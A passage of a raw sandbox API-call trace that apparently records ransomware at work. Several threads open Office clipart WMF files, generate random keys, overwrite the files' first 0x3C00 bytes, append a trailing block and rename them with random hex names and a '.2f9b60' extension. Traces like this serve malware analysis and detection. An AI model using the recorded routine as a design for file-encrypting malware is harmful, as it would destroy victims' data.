RtlFreeAnsiString (AnsiString="6") [0163.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fe0) returned 1 [0163.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aabf0) returned 1 [0163.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a47f0) returned 1 [0163.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4820) returned 1 [0163.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a47c0) returned 1 [0163.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4790) returned 1 [0163.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b320) returned 1 [0163.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x180430) returned 1 [0163.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264040) returned 1 [0163.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb5750 [0163.307] wcscat (in: _Dest=0x1cdb5750, _Source="6080b5a253c1" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6080b5a253c1") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6080b5a253c1" [0163.307] wcscat (in: _Dest=0x1cdb5750, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6080b5a253c1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6080b5a253c1.2f9b60" [0163.307] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6080b5a253c1.2f9b60", NtPathName=0x2326f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6080b5a253c1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce22260 Thread: id = 2318 os_tid = 0x1c9c [0149.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x20 [0149.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF", dwFileAttributes=0x20) returned 1 [0149.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dd4 [0149.180] GetFileSizeEx (in: hFile=0x1dd4, lpFileSize=0x22b4fb00 | out: lpFileSize=0x22b4fb00*=37974) returned 1 [0149.180] SetFilePointerEx (in: hFile=0x1dd4, liDistanceToMove=0x9452, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.180] ReadFile (in: hFile=0x1dd4, lpBuffer=0x22b4fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22b4fac8, lpOverlapped=0x0 | out: lpBuffer=0x22b4fa80*, lpNumberOfBytesRead=0x22b4fac8*=0x4, lpOverlapped=0x0) returned 1 [0149.182] SetFilePointerEx (in: hFile=0x1dd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a420 [0149.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202601d0 [0149.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0149.182] NtQuerySystemTime (in: CurrentTime=0x22b4f9c0 | out: CurrentTime=0x22b4f9c0*=132462177543850000) returned 0x0 [0149.182] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x486746f3 [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x54f3d89c [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x583054cc [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x607624f0 [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x29d09756 [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x65cba86c [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x64bc228b [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x37025041 [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x7c20ec15 [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x15406055 [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x5edad45a [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x21a6d253 [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x60c672f2 [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x6e537a50 [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x12443609 [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x77b54ff7 [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0xe239fd3 [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x2a8c8c06 [0149.183] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x6db249d4 [0149.184] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x5ac83685 [0149.184] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x77727f90 [0149.184] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x6808116a [0149.184] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x3f52e24a [0149.184] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x57a13b9c [0149.184] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x75814a2d [0149.184] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x2855aa85 [0149.184] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x78a9e235 [0149.184] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x643f0caf [0149.184] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x44bf4d8a [0149.184] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x5cde374 [0149.184] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x3ce8c889 [0149.184] RtlRandomEx (in: Seed=0x22b4f9b0 | out: Seed=0x22b4f9b0) returned 0x54f3474b [0149.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202620f0 [0149.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869d40 [0149.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262150 [0149.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869d40) returned 1 [0149.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262060) returned 1 [0149.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a420) returned 1 [0149.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d6a520 [0149.195] SetFilePointerEx (in: hFile=0x1dd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.195] ReadFile (in: hFile=0x1dd4, lpBuffer=0x41d6a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22b4fa20, lpOverlapped=0x0 | out: lpBuffer=0x41d6a520*, lpNumberOfBytesRead=0x22b4fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0149.196] SetFilePointerEx (in: hFile=0x1dd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97fd0 [0149.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869d40 [0149.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a420 [0149.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a420) returned 1 [0149.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d6e130 [0149.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a420 [0149.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0149.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262060) returned 1 [0149.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869d40) returned 1 [0149.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0149.198] WriteFile (in: hFile=0x1dd4, lpBuffer=0x41d6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22b4fa20, lpOverlapped=0x0 | out: lpBuffer=0x41d6e130*, lpNumberOfBytesWritten=0x22b4fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0161.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d6e130) returned 1 [0161.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d6a520) returned 1 [0161.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860330 [0161.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0161.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0161.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603f0 [0161.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8603f0) returned 1 [0161.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8603f0 [0161.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4910 [0161.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a48e0 [0161.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a48e0) returned 1 [0161.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0161.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0161.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aae30 [0161.576] SetFilePointerEx (in: hFile=0x1dd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.576] WriteFile (in: hFile=0x1dd4, lpBuffer=0x423aae30*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x22b4fad0, lpOverlapped=0x0 | out: lpBuffer=0x423aae30*, lpNumberOfBytesWritten=0x22b4fad0*=0x10a, lpOverlapped=0x0) returned 1 [0163.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce192c0 [0163.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1326b0 [0163.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1326b0) returned 1 [0163.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1326b0 [0163.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f50 [0163.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f50) returned 1 [0163.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce192c0) returned 1 [0163.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.354] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="20") returned 2 [0163.354] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="bf") returned 2 [0163.354] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="0f") returned 2 [0163.354] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="f5") returned 2 [0163.354] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="8a") returned 2 [0163.354] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="9e") returned 2 [0163.354] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="01") returned 2 [0163.354] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="22") returned 2 [0163.354] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="6c") returned 2 [0163.354] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="ab") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="ba") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="63") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="87") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="6e") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="54") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="18") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="9f") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="bb") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="4e") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="cd") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="41") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="f7") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="92") returned 2 [0163.355] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="38") returned 2 [0163.355] RtlInitAnsiString (in: DestinationString=0x22b4fb48, SourceString="20bf0ff58a9e01226cabba63876e54189fbb4ecd41f79238" | out: DestinationString="20bf0ff58a9e01226cabba63876e54189fbb4ecd41f79238") [0163.355] RtlAnsiStringToUnicodeString (in: DestinationString=0x22b4fb18, SourceString="20bf0ff58a9e01226cabba63876e54189fbb4ecd41f79238", AllocateDestinationString=1 | out: DestinationString="20bf0ff58a9e01226cabba63876e54189fbb4ecd41f79238") returned 0x0 [0163.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86eaa0 [0163.356] RtlFreeAnsiString (AnsiString="2") [0163.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1326b0) returned 1 [0163.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aae30) returned 1 [0163.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8603f0) returned 1 [0163.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4910) returned 1 [0163.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860330) returned 1 [0163.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a420) returned 1 [0163.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202601d0) returned 1 [0163.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202620f0) returned 1 [0163.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262150) returned 1 [0163.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb5930 [0163.359] wcscat (in: _Dest=0x1cdb5930, _Source="20bf0ff58a9e" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20bf0ff58a9e") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20bf0ff58a9e" [0163.359] wcscat (in: _Dest=0x1cdb5930, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20bf0ff58a9e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20bf0ff58a9e.2f9b60" [0163.359] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20bf0ff58a9e.2f9b60", NtPathName=0x22b4faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20bf0ff58a9e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce22da0 Thread: id = 2319 os_tid = 0x1ca0 [0149.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x20 [0149.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF", dwFileAttributes=0x20) returned 1 [0149.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c48 [0149.205] GetFileSizeEx (in: hFile=0x1c48, lpFileSize=0x2234f820 | out: lpFileSize=0x2234f820*=40030) returned 1 [0149.205] SetFilePointerEx (in: hFile=0x1c48, liDistanceToMove=0x9c5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.205] ReadFile (in: hFile=0x1c48, lpBuffer=0x2234f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2234f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2234f7a0*, lpNumberOfBytesRead=0x2234f7e8*=0x4, lpOverlapped=0x0) returned 1 [0149.207] SetFilePointerEx (in: hFile=0x1c48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0149.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0149.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260710 [0149.208] NtQuerySystemTime (in: CurrentTime=0x2234f6e0 | out: CurrentTime=0x2234f6e0*=132462177544162000) returned 0x0 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x16ca04da [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x8ee5557 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x14ce6887 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x2287a800 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x29f30aff [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x519dd67c [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x1c1f3a76 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x3d0c7061 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x45af6638 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x717a6855 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x564a9ba [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x432c825 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x7a027061 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0xcf7bd61 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0xce939d0 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x474b8dea [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x4428e02b [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x68e73c2c [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x7880d1a1 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x4366c104 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x2f6ec641 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x9bf5ef0 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x508b52e2 [0149.208] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x68c5306b [0149.209] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x1a077d26 [0149.209] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x33c89fce [0149.209] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x9ea4537 [0149.209] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x50b273f3 [0149.209] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x552ff548 [0149.209] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x1bbaaebb [0149.209] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x605a5bef [0149.209] RtlRandomEx (in: Seed=0x2234f6d0 | out: Seed=0x2234f6d0) returned 0x459a0c63 [0149.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260740 [0149.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869d40 [0149.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0149.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869d40) returned 1 [0149.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260710) returned 1 [0149.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262060) returned 1 [0149.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d62d00 [0149.220] SetFilePointerEx (in: hFile=0x1c48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.220] ReadFile (in: hFile=0x1c48, lpBuffer=0x41d62d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2234f740, lpOverlapped=0x0 | out: lpBuffer=0x41d62d00*, lpNumberOfBytesRead=0x2234f740*=0x3c00, lpOverlapped=0x0) returned 1 [0149.221] SetFilePointerEx (in: hFile=0x1c48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97fd0 [0149.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869d40 [0149.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0149.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262060) returned 1 [0149.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d66910 [0149.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0149.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260710 [0149.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260710) returned 1 [0149.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869d40) returned 1 [0149.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0149.223] WriteFile (in: hFile=0x1c48, lpBuffer=0x41d66910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2234f740, lpOverlapped=0x0 | out: lpBuffer=0x41d66910*, lpNumberOfBytesWritten=0x2234f740*=0x3c00, lpOverlapped=0x0) returned 1 [0161.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d66910) returned 1 [0161.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d62d00) returned 1 [0161.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860630 [0161.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c530 [0161.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868e40 [0161.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0161.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860420) returned 1 [0161.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860420 [0161.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 